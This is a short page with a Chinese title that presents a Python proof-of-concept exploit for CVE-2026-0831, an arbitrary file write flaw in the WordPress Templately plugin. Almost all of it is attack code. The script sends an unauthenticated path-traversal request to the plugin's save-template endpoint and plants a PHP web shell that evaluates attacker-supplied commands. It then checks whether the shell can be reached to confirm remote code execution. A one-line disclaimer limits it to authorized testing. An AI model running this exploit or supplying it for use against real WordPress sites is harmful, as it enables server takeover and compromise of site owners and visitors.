CVE-2026-0831: Templately插件任意文件写入漏洞

# CVE-2026-0831 PoC - Templately Plugin Arbitrary File Write # Target: WordPress site with Templately plugin <= 3.4.8 import requests import json TARGET_URL = "http://target-wordpress-site.com" # Vulnerable endpoint in Templately plugin API_ENDPOINT = f"{TARGET_URL}/wp-json/templately/v1/save-template" # Malicious payload to write arbitrary file # Using path traversal to escape uploads directory malicious_payload = { "session_id": "../../../../../uploads/evil", "content_id": "malicious_content", "ai_page_ids": ["../../../evil.php"], "template_data": "<?php phpinfo(); ?>", # Webshell content "file_content": json.dumps({ "name": "Malicious Template", "content": "<?php @eval($_POST['cmd']); ?>" }) } def exploit_arbitrary_file_write(): """ Exploit function to demonstrate arbitrary file write vulnerability """ print(f"[*] Targeting: {TARGET_URL}") print(f"[*] Exploiting CVE-2026-0831 - Arbitrary File Write in Templately") try: # Send malicious request (unauthenticated) response = requests.post( API_ENDPOINT, json=malicious_payload, headers={ "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (compatible; CVE-2026-0831-PoC)" }, timeout=10, verify=False ) print(f"[+] Request sent. Status code: {response.status_code}") print(f"[+] Response: {response.text[:500]}") # Verify if file was written verify_url = f"{TARGET_URL}/wp-content/uploads/evil.php" verify_response = requests.get(verify_url, timeout=5) if verify_response.status_code == 200: print(f"[+] SUCCESS! File written successfully: {verify_url}") print("[+] Webshell accessible - Remote Code Execution possible") return True else: print("[-] File write verification failed") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": exploit_arbitrary_file_write() print("\n[*] Note: This PoC is for authorized security testing only")